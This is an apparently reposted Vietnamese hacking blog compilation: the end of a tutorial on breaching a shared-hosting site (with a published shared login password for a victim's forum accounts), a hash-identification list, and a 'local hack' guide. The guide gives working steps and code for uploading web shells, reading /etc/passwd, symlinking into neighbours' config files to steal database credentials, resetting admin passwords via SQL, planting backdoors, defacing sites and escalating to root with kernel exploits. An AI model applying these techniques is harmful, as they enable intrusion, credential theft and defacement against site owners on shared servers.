-Cách hack này tuy mất nhiều thời gian trong việc upload một mirror nhưng rất hiệu quả. Tuy nhiên tuyệt đối không nên sử dụng chúng lung tung và bừa bãi.
-Các hosting cho phép free, điều đó chứng tỏ họ rất tốt bụng, cũng chính vì vậy cũng không nên sử dụng phương pháp này khi KHÔNG THỰC SỰ cần thiết
II/Ví dụ.
-Trước hết tôi xin lỗi những ai đã làm website **** vì tôi sẽ đưa website của các bạn ra làm ví dụ và đã là victim đầu tiên của tôi.
-Mong các bạn, những người đang muốn học hỏi thêm một chút kinh nghiệm chỉ tham qua chứ không lạm dụng gi để làm hỏng DataBase của họ, thực sự tôi đã backup nhưng tôi cũng rất ngại restore lại. Hơn nữa để đảm bảo cho các bài viết tiếp theo không bị phản đối, tôi mong mọi người hãy tôn trọng ý kiến của tôi, KHÔNG PHÁ PHÁCH GÌ DB CỦA VICTIM và mang mục đích học hỏi và tham khảo lên hang đầu.
-Website mirror của website**** là **** , tại đây các bạn có thể login vào bất cứ nickname nào trong diễn đàn **** với mật khẩu chung là "hainam@hainam.org" . hãy nhớ là KHÔNG NÊN PHÁ DB CỦA HỌ, chi nên tham khảo
III/Kinh nghiệm
Điều quan trọng không phải là chúng ta hack được những cái gì mà là chúng ta học được những cái gì. Qua bài viết này mong các bạn nắm rõ được một số thao tác sau
-Đọc mã nguồn của một file bất kì trên website khi đã cùng một server (Bước 3)
-Kinh nghiệm về mật khẩu, dò tìm và ghi nhớ (Bước 4)
-Cách tạo một mirror website hay là cách link DB cho nhiều website (Bước 5)
-Cách crack cổ điển bằng ASM (Bước 6.1)
Các bạn nên tìm ra các mối liên hệ giữa các Portal, Forum, Guest Book, Chatroom PHP-CGI,.. để có thể áp dụng phương pháp này. Mặt khác các bạn cũng có thể hack được ngay cả đối với các domain hosting chứ không phải là các site có dạng http://root/yoursite/ . Và Các Paid hosting cũng không ngaọi trừ khả năng bị hack nếu các hacker đã thực sự muốn hack và sẵn sang bỏ tiền mua một hosting trên cùng một Server. Phần hack paid hosting và domain tôi xin để cho các bạn tự tìm hiểu. Hãy nhớ rằng luôn luôn phải chú ý đến URL Root của mỗi hosting. Ví dụ như ở Cpanel thì URL Root cho các domain hosting là http://[IP Server]/~user .vv
Chúc các bạn thành công

Thứ Hai, 17 tháng 6, 2013

Nhận Dạng Các Loại mã hóa

1MySQL có 2 loại

60671c896665c3fa MySQL loại 16 kí tự
667f407de7c6ad07358fa38daed7828a72014b4e MySQL5 loại 40 kí tự
2.MD4 có 3 loại:


bde52cb31de33e46245e05fbdbd6fb24 MD4 loại này 32 kí tự
a0f0057303393f643a09d7db430b9fe1 MD4 (HMAC*) 32 kí tự
veUssx3jPkYkXgX729b7JA==Z7g= MD4 (Base64*) Loại này dạng base64 có 28 kí tự3.
MD5 có tới 5 dạng:
0cc175b9c0f1b6a831c399e269772661 MD5 32 kí tự

3673438f11d71c21a9b8b59232a3dd61 MD5 (HMAC) 32 dạng HMAC 32 kí tự

DMF1ucDxtqgxw5niaXcmYQ==Z7g= MD5 (Base64) 28 Kí tự

$1$Ij31LCAysPM23KuPlm1wA/ MD5 (Unix) 26 kí tự

$apr1$ny0TwGBt5/BPT4.mbWBKk. MD5 (APR) 29 kí tự.
4.MSCash
9bea8ee5c345f595cd9f9b37a1a2a887 MSCash 32 kí tự
86f7e437faa5a7fce15d1ddcb9eaeaea377667b8
5.SHA-1 có 2 loại:
7f984109f39759f3f41dba04f5183741e36f1445 Sha-1 (HMAC) 40 kí tự
hvfkN/qlp/zhXR3cuerq6jd2Z7g= Sha-1 (Base64) 28 kí tự

local hack



rong bài viết có các con shell thì mọi người download bằng link này nhé:




http://www.mediafire.com/?miwmtymdiwy







Đầu tiên là ai cũng biết local là từ 1 host cùng sever với victim, ta sẽ lấy đc thông tin của thằng hàng xóm.

Tool là shell, ví dụ: r57, c99, perl shell, ... các loại này là phổ biến,




Đầu tiên là về con shell r57 nhé. Giao diện thì ai cũng biết rồi:




Trên cùng là info của sever. Các bạn tự đọc nhé, đến chỗ nào quan trọng thì mình sẽ nêu ra.







Con shell có dòng đầu tiên là Run command : ----> Cái này quan trọng vì nó để chạy lệnh (Nhưng mà khi safe mode là ON thì sẽ ko có dòng này)

Muốn tắt safe mode thì có nhiều cách. VD:

- Dùng php.ini , cái này thì trong 1 số con shell có sẵn.

- Hạ safemode bằng bug Cpanel, video: http://www.mediafire.com/?mzgmotmzzli







(Do hero1412 làm)

- Còn nếu mà ko đc thì thôi.




Đầu tiên là tìm list user ( Cái này quan trọng vì ko có thì bit local sang thế nào đây?)

get list user : cat /etc/passwd
less /etc/passwd

(Do file chứa user là passwd, còn file chứa pass thường là shadow, nhưng chúng ta ko xem đc đâu nhé, phải get root)

Còn nếu nó bật safe mode ON, ta get user bằng chức năng của con shell nhé, hoặc upfile này lên host và run





Quote:



$i = 0;

while ($i < 60000)

{

$line = posix_getpwuid($i);

if (!empty($line))

{

while (list ($key, $vl) = each($line)){

echo $vl."\n";

break;

}

}

$i++;

}

?>











Tut của [N]guye[N]




hoặc là





Quote:



include("/etc/passwd"); ?>


chú ý là .php nhé.







Có list user rồi

H là tìm victim cần local sang chứ ko phải là random 1 thằng.




User thường có đặc điểm sau:

- Giống tên web... VD "thitruong24h.com.vn" thì user là "vthitruong"

- Có thể trùng với họ tên của thằng đăng kí domain. Họ tên nó thì xem whois nhé. VD: "nguoithoxuan.com.vn" có user là thuanlq....(thằng admin tên lê thuận). Nếu nó dùng cc chùa thì chịu nhé.




Nêu ta ko muốn mò thì có thể xem error_log. path của nó đây ạ: /usr/local/apache/logs/error_log




Dùng lệnh: find /usr/local/apache/logs/ -name 'error_log' | xargs grep -E 'domain.com' (Cái này cũng là error_log nhưng mà tiện hơn)

Khai thác xem nó có dính lỗi nào lòi path ra ko.

Cách check xem có phải user là của nó ko thì làm thé này nhé: http://ip của sver/~user --->Nếu ra site của nó thì đúng rồi




Local thì thường dùng các lệnh cơ bản sau:




cat /home/user/public_html/a.php (xem file a.php)

dir /home/user/public_html/bangnokia (xem thư mục bangnokia)

Nhưng mà thường thì viết trên r57 ko có tác dụng lắm vì chả còn cái sever nào như thế cả, Lệnh này thường dùng trên perl shell.

Sau đây là symlink, kĩ thuật này hay đc sử dụng,

Trích dẫn:

ln -s [path file cần xem] 1.txt

(1.txt là file để xem trên host mình. VD: ln -s /home/user/public_html/index.php 1.txt ----> File index.php của nó sẽ đc xem qua file 1.txt trên host của mình).




Mục tiêu của chúng ta là xem file config của nó, để vào database. File đó thường có các tên như: config.php, configuration.php,....

Còn nếu có tên khác thì chúng ta xem trong file index.php nhé, hàm trong đó thương phải gọi đên file config (Đọan nào mà có #include(abc.php).




Có rồi thì chúng ta connect vào database, set lại pass admin.

Vào Run SQL query

Điền đúng login/password/database

Sau đó bạn cần bit 1 chút về sql để update nhé.

Mình chỉ nêu 1 sô lệnh hay sử dụng thôi nhé.




update [table user] set [colum password]="xxxxxxxx" where userid="user id của admin"







Thế coi như là gần xong rồi nhé.




H nếu sever safe mode ON, ta ko symlink đc thì có thể via sql (Chú ý là sử dụng với php 4.X nhé)

Đầu tiên kíêm bừa 1 database, connect vào. Nếu shell có chức năg via sql thì có dòng load file, các bạn đánh các lệnh bt vào là đc




Các bạn đọc bài này rõ hơn nhé, nó có sử dụng cả load file : http://lamdongfamily.com/diendan/showthread.php?3791-TUT-Tut-Local-Via-Sql-C%C4%83n-B%E1%BA%A3n&p=6370#post6370







Nói chung là như thế nhé. H nếu sever ko làm đc những điều đó, ta sử dụng perl shell, 2 loại thường dùng là WebShell.cgi và telnet.cgi (có thể là .pl)

Up shell lên host. CHMOD 755, run nếu mà nó ko chạy thì ta up file .htaccess và đổi đuôi con shell. Cái này xem video sẽ hiểu nhé, có nhiều lắm, các bạn có thể tự tìm.

giao diện của shell là dòng lệnh, các bạn có thể dùng cat và dir để xem victim, nếu mà ko đc thi symlink, nếu mà cũng ko đc nữa thì up các file : cat, ln, .....chmod 777

Còn ko đc nữa thì làm tiếp theo tut của tracert admin xgroup

-Bypass lỗi 500 khi run perl shell. Video: http://www.mediafire.com/?mmnimgwmjt0







-Bypass chmod perl shell. Video: http://www.mediafire.com/?qqwkoiozrdq







Còn nếu ko đc nữa thì chuyển vào cgi-bin. Ko đc nữa thì mình hok bit.

Video local bằng cgi-telnet: http://www.mediafire.com/download.php?djnmntmgacm

http://www.mediafire.com/?zgyvdyilojg







H ta sẽ chú ý dòng này: Disable functions:

-Nếu là None thì nó ko cầm hàm nào, ta có thể sử dụng để khai thác. VD symlink:

PHP Code:

system('ln -s path 1.txt');

?>







Up lên host, run và xem kết quả. hehe

Các bạn có thể dùng các lệnh khác nữa nhé. AI pro thì chịu khó tìm hiểu.

-Nếu nó dis nhiều thì có phần gay đấy, Giống như là sever hostvn.net

Lúc đó ta sẽ có tut riêng, mình xin phép ko nêu ra bởi nếu thế thì loạn mất.







Với sever Win thì có thể dùng r57 cũng đc , nhưng thường thì là dùng aspxspy, kshell, net cat.

Video local bằng aspxspy2 by BangNokia: http://www.mediafire.com/?rkoymvkjyhm







Local bằng net cat by VQB: http://www.mediafire.com/?3jjfkhnjnt3













Lưu ý thêm là khi vào database, ta có thể chèn backdoor.

Chú ý xem nhé: http://milw0rm.com/video/watch.php?id=90







Và khi vào đc admincp của site nó, việc thường của mấy bạn là deface, nên phải tìm cách up shell.

Up trong vbb thì có thể qua đương skin hoặc plugin, trong các loại khác thì có các cách khác.

Video by kaihangty: http://www.mediafire.com/?1jh21nnmmdz







Và các loại khác thì các bạn tự linh động nhé. Nếu mà ko up đc thì thôi.







Cũng cần chú ý version php, để có thể by pass nếu có thể bằng các chức năng của shell.







Sau đây là về get root.




Cái này chỉ làm đc khi sever cho phép back connect.

Có nhiều cách làm lắm, mình chỉ nêu 1 số thôi nhé. Nói chung là cần có kernel exploit. Cái này thì vào milw0rm.com để tìm nhé.




VD: Linux nd-10754.tenamax.com 2.6.27.18-24 #1 SMP Wed Nov 4 2050 UTC 2009 x86_64 x86_64 x86_64 GNU/Linux ----> 2.6.27

Có thể dùng thêm cả mass để deface cả sever khi ta get root [IMG]file:///C:/Users/LENGUY%7E1/AppData/Local/Temp/msohtmlclip1/01/clip_image001.gif[/IMG]

Video get root: http://www.mediafire.com/?zjtjeny2iot







Safe_mode: OFF Open_Basedir: NONE Safe_Exec_Dir: NONE Safe_Gid: OFF Safe_Include_Dir: NONE Sql.safe_mode: OFF
PHP version: 5.2.12 cURL: ON MySQL: ON MSSQL: OFF PostgreSQL: ON Oracle: OFF




Về các cái phần còn lại này thì mình ko rõ lắm, nhưng mà thường ít sử dụng và mình cũng ko biết nhiều.




Chú ý:

-Theo cách mình hay làm thì mình thường brute, bởi nếu mà có 1 FTP thi upload rất là tiện lợi.

-Khi xem file config có thể nó điền database là FTP thì xong luôn.




Cuối cùng là 1 tut mà có phần đầy đủ của mình, mọi người xem cái này hộ nhé, hay lém đó: http://www.mediafire.com/?yxamlzqnntt







Thằng kimono bảo là ko nên pub nhưng mà thôi mình cứ pub.










Còn các cách khai thác bằng file .shtml thì mình có nêu trong video nhé (nhưng chỉ là 1 chút thôi), Các bạn phải tự tìm hiểu. Cái này chỉ dành cho newbie mà. (Nếu cái gì cũng bit luôn thì còn gì là suy nghĩ nữa chứ đúng ko? )










Sưu tầm !